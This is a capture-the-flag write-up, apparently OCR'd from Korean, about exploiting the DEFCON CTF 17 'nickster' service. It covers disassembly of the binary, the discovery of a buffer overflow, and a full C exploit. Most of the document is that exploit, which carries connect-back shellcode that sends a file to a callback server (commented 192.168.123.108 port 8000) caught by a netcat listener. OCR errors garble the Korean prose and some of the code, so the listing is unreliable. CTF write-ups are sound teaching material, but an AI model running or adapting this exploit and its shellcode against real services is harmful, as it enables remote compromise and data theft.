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{0x01 About Nickster}

[StolenByte@StolenByte~] # A E &7t E SIS L LY.
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[StolenByte@StolenByte ~]# nc localhost 2337
1) Add user

2) Remove user

3) View user

4) List users

1

Enter new user nick: a

Continue (y/n)? y

1) Add user

2) Remove user

3) View user

4) List users

4

Nick: a, id = 1, reg time = Mon Aug 10 10:29:50 2009



{0x02 Analaysis}

[StolenByte@StolenByte ~/bin/nickster]# file nickd
nickd: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), for FreeBSD 7.2,
statically linked, FreeBSD-style, stripped
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0| £X|= 1byte Buffer Overflow 2 x|
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[StolenByte@StolenByte ~]# nc localhost 2337
1) Add user

2) Remove user

3) View user

4) List users

MHZ H&5HE O 22 Hws & = ULk

.text:0804909E mov [esp+28h+var_24], offset alAddUser ;
"1) Add user\ n"

.text:080490A6 mov eax, [ebp+arg_0]

.text:080490A9 mov [esp+28h+var_28], eax
.text:080490AC call sub_8048370

.text:080490B1 mov [esp+28h+var_20], 0

.text:080490B9 mov [esp+28h+var_24], offset
a2RemoveUser ; "2) Remove user\ n"

.text:080490C1 mov eax, [ebp+arg_0]

.text:080490C4 mov [esp+28h+var_28], eax
.text:080490C7 call sub_8048370

.text:080490CC mov [esp+28h+var_20], 0

.text:080490D4 mov [esp+28h+var_24], offset a3ViewUser ;
"3) View user\ n"

.text:080490DC mov eax, [ebp+arg_0]

.text:080490DF mov [esp+28h+var_28], eax
.text:080490E2 call sub_8048370

.text:080490E7 mov [esp+28h+var_20], 0

.text:080490EF mov [esp+28h+var_24], offset adListUsers ;

"4) List users\ n"




.text:080490F7 mov
.text:080490FA mov
.text:080490FD call

eax, [ebp+arg_0]
[esp+28h+var_28], eax
sub_8048370

HwS #eiFe ZEOCh HES ®aZE 2, HHS Mests REO| Li2Ch
text:08049133 cmp [ebp+var_14], 32h

.text:08049137 jz short loc_8049162

.text:08049139 cmp [ebp+var_14], 32h

text:0804913D jg short loc_8049147

.text:0804913F cmp [ebp+var_14], 31h

text:08049143 jz short loc_8049155

text:08049145 jmp short locret_8049187

dext:08049147 ; —----mmmmmmm e
.text:08049147

.text:08049147 loc_8049147: ; CODE XREF:
sub_8049090+ADj

.text:08049147 cmp [ebp+var_14], 33h

.text:0804914B jz short loc_804916F

.text:0804914D cmp [ebp+var_14], 34h

.text:08049151 jz short loc_804917C
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Add Userd| &= O|C}.

.text:08048918 mov

[esp+28h+var_24], offset

aEnterNewUserNi ; "Enter new user nick: "

.text:08048920 mov eax, [ebp+arg_0]
.text:08048923 mov [esp+28h+var_28], eax
.text:08048926 call sub_8048370

“Enter new user nick: "0O|2}= 2% S HHE{FCH

.text:0804892B mov [esp+28h+var_1C], OAh
text:08048933 mov [esp+28h+var_20], 0Ch
.text:0804893B lea eax, [ebp+var_10]
.text:0804893E add eax, 4

text:08048941 mov [esp+28h+var_24], eax
.text:08048945 mov eax, [ebp+arg_0]
text:08048948 mov [esp+28h+var_28], eax
text:0804894B call sub_80482F0

= 12bytetE HHOF2LCF.




.text:0804895E mov eax, [ebp+var_10]
text:08048961 mov [ebp+eax+var_C], 0
text:08048966 mov [ebp+var_10], 0
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SEND (£ 12byte) XX
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text:08048A57 mov [esp+18h+var_14], offset
aNickSIdDRegTim ; "Nick: %s, id = %d, reg time = %s"
.text:08048A5F mov eax, [ebp+arg_0]
.text:08048A62 mov [esp+18h+var_18], eax
text:08048A65 call sub_8063A20
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.text:080488CB cmp eax, 63h
text:080488CE ig loc_80489D5
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O|X| ShellcodeBt Z22|™ E£|=[|, Shellcode= "Nick: %s, id = %d, reg time = %s"
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{0x03 Exploit}

Terminal 1

[StolenByte@StolenByte ~]+# ./nickd_ex
========= DEFCON Capture the Flag 17th nickster Exploit by StolenByte

['] Connect Success

[+] Input ShellCode

[+] Buffer Overflow

[+] Input Return Address
[+] Exploit!!

[!] Attack Success!!

[!] Finish

Terminal 2

[StolenByte@StolenByte ~]# nc -1 8000
WOWHACKER

Nickster_exploit_by_StolenByte.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>

#define ATTACK_IP "127.0.0.1"
#define ATTACK_PORT 2337

#define MAX_BUF 2048

int sock_conn(char *ip, int port)
{
int sockfd;
struct sockaddr_in sock;
struct hostent* host_st;

sockfd = socket(PF_INET, SOCK_STREAM, 0);
if(sockfd < 0)
err("Socket() Error!!\ n");




host_st = gethostbyname(ip);
if(host_st == NULL)
err("gethostbyname() Error!!\ n");

bzero(sock.sin_zero, sizeof(sock.sin_zero));
sock.sin_family = AF_INET;

sock.sin_port = htons(port);

sock.sin_addr = *((struct in_addr *)host_st->h_addr);

if(connect(sockfd, (struct sockaddr *)&sock, sizeof(sock)) < 0)
err("Connect() Error!!\ n");

return sockfd;

b
int inline err(char* msg)
{
perror(msg);
exit(-1);
b
void sock_write(int sock, char* payload)
{
int check = 0;
check = write(sock, payload, strlen(payload));
if(check < 0)
err("[!] Write Error\ n");
by
void sock_read(int sock)
{
inti =0;
int check = 0;
char buf[MAX_BUF];
char payload[3] = {0, };
memset(buf, 0x00, MAX_BUF);
check = read(sock, buf, MAX_BUF);
if(check < 0)
err("['] Read Error\ n");
by
void exploit_loop(int sock, int count, char* msg)
{

inti;
char payload[MAX_BUF];




memset(payload, 0x00, MAX_BUF);

for(i=0;i<count;i++)

{
sprintf(payload, "1\ n");
sock_write(sock, payload);

sock_read(sock);

sprintf(payload, "%s\ n", msq);
sock_write(sock, payload);

sock_read(sock);

sprintf(payload, "y\ n");
sock_write(sock, payload);

sock_read(sock);
sock_read(sock);

¥

int main( int argc, char **argv)
{
inti;
int sock = 0;
char payload[MAX_BUF];
unsigned char shellcode[] =
"\ x31\ xc0\ x6a\ x79\ x66\ x68\ x6b\ x65\ xeb\ x34"
"\ x89\ xe3\ x50\ x53\ xeb\ x34"
"\ xb0\ x05\ x50\ xcd\ x80\ x89\ xc3\ x31\ xc0\ xeb\ x34"
"\ x31\ xc9\ x66\ xb9\ x05\ x0d\ x51\ x89\ xe6\ xeb\ x34"
"\ x56\ x53\ xb0\ x03\ x50\ xcd\ x80\ x89\ xc5\ xeb\ x34"
"\ x31\ xc0\ xb0\ x06\ x53\ x50\ xcd\ x80\ xeb\ x34"
"\ x31\ xc0\ x50\ x6a\ x01\ x6a\ x02\ xb0\ x61\ xeb\ x34"
"\ x50\ xcd\ x80\ x89\ xc2\ xeb\ x34"
"\ x68\ xc0\ xa8\ x7b\ x6c\ xeb\ x34"
// Server IP Address (ex. 192.168.123.108)
"\ x68\ xaa\ x02\ x1f\ x40\ xeb\ x35"
// Port (ex.8000)
"\ x89\ xe0\ x6a\ x10\ x50\ x52\ x31\ xcO0\ xeb\ x35"
"\ xb0\ x62\ x50\ xcd\ x80\ x31\ xcO\ x55\ x56\ xeb\ x35"
"\ x52\ xb0\ x04\ x50\ xcd\ x80\ x31\ xc0\ x40\ xeb\ x35"
"\ x50\ x50\ xcd\ x80";
int shellcode_size[] = {0, 10, 6, 11, 11, 11, 10, 11, 7, 7,7, 10, 11, 11, 4};
int size = 0;




unsigned char ret_addr[] =
"\ x41\ x41\ xc2\ xd2\ xbf\ xbf\ n";

/* Connect Server */
sock = sock_conn(ATTACK_IP, ATTACK_PORT);
printf("[!] Connect Success\ n");

sock_read(sock);
sock_read(sock);

/* Input ShellCode */
printf("[+] Input ShellCode\ n");
for(i=0;i<14;i++)
{
sprintf(payload, "1\ n");
sock_write(sock, payload);

sock_read(sock);

strncpy(payload, shellcode+size, shellcode_size[i+1]);
size += shellcode_size[i+1];

sprintf(payload, "%s\ n", payload);

sock_write(sock, payload);

sock_read(sock);

memset(payload, 0x00, sizeof(payload));
sprintf(payload, "y\ n");
sock_write(sock, payload);

sock_read(sock);
sock_read(sock);

¥

/* Buffer Overflow */

printf("[+] Buffer Overflow\ n");
exploit_loop(sock, 78, "AAAAAAAAAAA™);
exploit_loop(sock, 4, "AAAAAAA™);
exploit_loop(sock, 2, "AAAAA");

/* Input Return Address */
printf("[+] Input Return Address\ n");
sprintf(payload, "1\ n");




sock_write(sock, payload);
sock_read(sock);
sock_write(sock, ret_addr);
sock_read(sock);

sprintf(payload, "y\ n");
sock_write(sock, payload);

sock_read(sock);
sock_read(sock);

sprintf(payload, "4\ n");
sock_write(sock, payload);

sock_read(sock);
sock_read(sock);
sock_read(sock);
sock_read(sock);

sock_read(sock);

sprintf(payload, "y\ n");
sock_write(sock, payload);

sock_read(sock);
sock_read(sock);

/* Exploit!!  */
printf("[+] Exploit!"\ n");
sprintf(payload, "1\ n");
sock_write(sock, payload);

sock_read(sock);

sprintf(payload, "AAAAAAAAAAAA\ n");
sock_write(sock, payload);

sock_read(sock);

sprintf(payload, "y\ n");
sock_write(sock, payload);

sock_read(sock);
sock_read(sock);




printf("[!] Attack Success!!\ n");
printf("[!] Finish\ n");

return O;




